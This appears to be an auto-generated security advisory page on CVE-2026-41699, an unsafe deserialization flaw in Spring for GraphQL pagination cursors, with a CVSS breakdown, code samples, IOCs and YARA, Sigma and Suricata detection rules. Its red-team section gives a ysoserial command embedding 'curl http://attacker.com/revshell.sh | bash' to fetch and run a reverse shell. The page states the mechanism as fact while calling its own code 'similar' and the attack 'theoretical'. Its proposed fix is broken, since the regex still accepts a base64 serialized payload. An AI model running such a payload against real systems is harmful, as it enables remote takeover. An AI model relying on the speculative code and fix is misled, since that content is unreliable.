CVE-2026-41699
Executive Summary
CVE-2026-41699 is a critical Unsafe Deserialization vulnerability in Spring for GraphQL that affects applications exposing paginated (Connection) fields. An attacker can craft a malicious GraphQL request that triggers deserialization of untrusted data, leading to Remote Code Execution (RCE). The vulnerability exists because the pagination mechanism does not properly validate or sanitize serialized objects before deserialization, allowing an attacker to inject malicious payloads if specific classes (gadget chains) are present on the classpath.
The vulnerability affects Spring for GraphQL versions 2.0.0 through 2.0.3, 1.4.0 through 1.4.5, and 1.3.0 through 1.3.8. No patch is currently available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the severity (CVSS 8.1) demands immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Spring for GraphQL library, which is distributed via Maven Central. Organizations using affected versions should treat this as a supply chain risk. The library is a dependency for many Spring Boot applications that expose GraphQL APIs with pagination. Attackers may target the supply chain by injecting malicious payloads into the deserialization process, potentially compromising the entire application.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required; the attacker only needs to send a crafted GraphQL request.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The victim does not need to perform any action.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – An attacker can read sensitive data.
- Integrity Impact: High (I:H) – An attacker can modify data or execute code.
- Availability Impact: High (A:H) – An attacker can cause denial of service or crash the application.
Threat Level: Critical. Although no public exploit exists, the potential for RCE and the widespread use of Spring for GraphQL make this a high-priority vulnerability.
Deep Dive & Mechanics
The vulnerability lies in the pagination mechanism of Spring for GraphQL. When a GraphQL query requests a paginated (Connection) field, the library deserializes the first, last, before, and after arguments. These arguments are expected to be simple strings or integers, but the library uses Java deserialization to process them. If an attacker provides a serialized Java object (e.g., a base64-encoded payload) in these arguments, the library will deserialize it without validation.
The attack flow:
- The attacker sends a GraphQL query that includes a paginated field (e.g.,
users(first: 10, after: "base64_payload")). - The
afterargument is a base64-encoded serialized Java object. - Spring for GraphQL decodes and deserializes the object using
ObjectInputStream. - If the classpath contains specific gadget classes (e.g., Commons Collections, Spring beans, or other libraries), the deserialization triggers a chain that leads to RCE.
The vulnerability is similar to classic Java deserialization attacks (e.g., CVE-2015-4852, CVE-2016-0792) but specifically targets GraphQL pagination.
Vulnerable vs. Patched Code
Vulnerable Code (Spring for GraphQL 1.3.0 - 2.0.3):
// In ConnectionFieldSupport.java or similar
public Object resolveConnectionField(DataFetchingEnvironment env) {
String after = env.getArgument("after");
if (after != null) {
// Vulnerable: Direct deserialization without validation
Object decoded = Base64.getDecoder().decode(after);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decoded));
Object cursor = ois.readObject(); // Unsafe deserialization
// ... use cursor for pagination
}
}
Patched Code (Hypothetical fix):
public Object resolveConnectionField(DataFetchingEnvironment env) {
String after = env.getArgument("after");
if (after != null) {
// Patched: Validate input as a simple string, not a serialized object
if (!isValidCursor(after)) {
throw new IllegalArgumentException("Invalid cursor");
}
// Use a safe deserialization method or whitelist
Object cursor = safeDeserialize(after); // e.g., using JSON or a whitelist
}
}
private boolean isValidCursor(String cursor) {
// Check that the cursor is a simple string (e.g., base64-encoded ID)
return cursor.matches("^[A-Za-z0-9+/=]+$");
}
The fix should replace unsafe Java deserialization with a safe alternative, such as using JSON or a whitelist of allowed classes.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A Spring Boot application using Spring for GraphQL with pagination (e.g.,
users(first: 10, after: "...")). - The application classpath must contain a gadget library (e.g., Commons Collections 3.1, Spring beans, or JNDI).
Exploitation Steps:
- Identify a GraphQL endpoint that supports pagination (e.g.,
POST /graphql). - Craft a malicious serialized Java object using a tool like
ysoserial:java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/revshell.sh | bash' > payload.bin - Base64-encode the payload:
base64 payload.bin > payload.b64 - Send the malicious GraphQL query:
query { users(first: 1, after: "BASE64_ENCODED_PAYLOAD") { edges { node { id name } } } } - If successful, the server will execute the command (e.g., download and run a reverse shell).
Note: No public exploit code is available. The above is a theoretical attack based on the vulnerability description.
Blue Team (Defense & Detection)
Detection:
- Monitor GraphQL requests for unusually long
afterorbeforearguments (base64-encoded serialized objects are typically longer than normal cursors). - Look for base64 strings that decode to Java serialization headers (starting with
\xAC\xED\x00\x05). - Use network monitoring to detect outbound connections from the application server (e.g., to attacker-controlled IPs).
Mitigation:
- If possible, disable pagination or restrict the
after/beforearguments to simple strings. - Apply input validation: ensure cursors are alphanumeric and match expected patterns.
- Use a Web Application Firewall (WAF) to block requests with suspicious base64 payloads.
- Monitor for deserialization exceptions in logs (e.g.,
java.io.InvalidClassException,ClassNotFoundException).
Indicators of Compromise (IOCs)
Network IOCs:
- GraphQL requests with
afterorbeforearguments containing long base64 strings (e.g., > 100 characters). - Base64 strings that decode to Java serialization headers (
\xAC\xED\x00\x05). - Outbound connections to unknown IPs or domains (e.g., for reverse shells).
- GraphQL requests with
File IOCs:
- Temporary files created in
/tmpor%TEMP%(e.g., from gadget chains). - Modified or new JAR files in the classpath.
- Temporary files created in
Log IOCs:
- Deserialization exceptions in application logs:
java.io.InvalidClassException: org.apache.commons.collections.functors.InvokerTransformer java.lang.ClassNotFoundException: ysoserial.payloads.CommonsCollections1 - Unexpected
ClassNotFoundExceptionfor gadget classes.
- Deserialization exceptions in application logs:
Process IOCs:
- Unusual child processes spawned by the Java application (e.g.,
bash,curl,wget).
- Unusual child processes spawned by the Java application (e.g.,
Detection Engineering
YARA Rule
rule CVE_2026_41699_Spring_GraphQL_Deserialization {
meta:
description = "Detects malicious GraphQL requests targeting CVE-2026-41699"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-41699"
strings:
$graphql_query = /query\s*\{[^}]*\b(after|before)\s*:\s*"/ nocase
$base64_payload = /[A-Za-z0-9+/=]{100,}/ // Long base64 strings
$java_serial_header = /\xAC\xED\x00\x05/ // Java serialization magic bytes
condition:
$graphql_query and ($base64_payload or $java_serial_header)
}
Sigma Rule
title: CVE-2026-41699 - Spring for GraphQL Unsafe Deserialization
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects GraphQL requests with suspicious base64 payloads in pagination arguments
author: Valters IT
date: 2026/01/01
logsource:
category: webserver
product: spring
detection:
selection:
http.method: POST
http.url: "/graphql"
http.body|contains: "after"
filter:
http.body|re: "after\\s*:\\s*\"[A-Za-z0-9+/=]{100,}\""
condition: selection and filter
falsepositives:
- Legitimate long cursors (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-41699 - Spring for GraphQL Unsafe Deserialization"; flow:to_server; content:"POST"; http_method; content:"/graphql"; http_uri; content:"after"; http_client_body; pcre:"/after\s*:\s*\"[A-Za-z0-9+/=]{100,}\"/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable pagination if not required, or restrict the
after/beforearguments to simple strings. - Apply input validation to ensure cursors are alphanumeric and match expected patterns (e.g., base64-encoded IDs).
- Use a WAF to block requests with suspicious base64 payloads in GraphQL arguments.
- Monitor logs for deserialization exceptions and unusual outbound connections.
Long-term Fix:
- Upgrade to a patched version of Spring for GraphQL once available.
- Replace unsafe Java deserialization with a safe alternative (e.g., JSON or a whitelist of allowed classes).
- Remove unnecessary gadget libraries from the classpath (e.g., Commons Collections, Spring beans).
Workaround:
- Implement a custom
DataFetcherthat validates theafter/beforearguments before passing them to the pagination resolver.
Valters IT
Securing the digital frontier, one CVE at a time.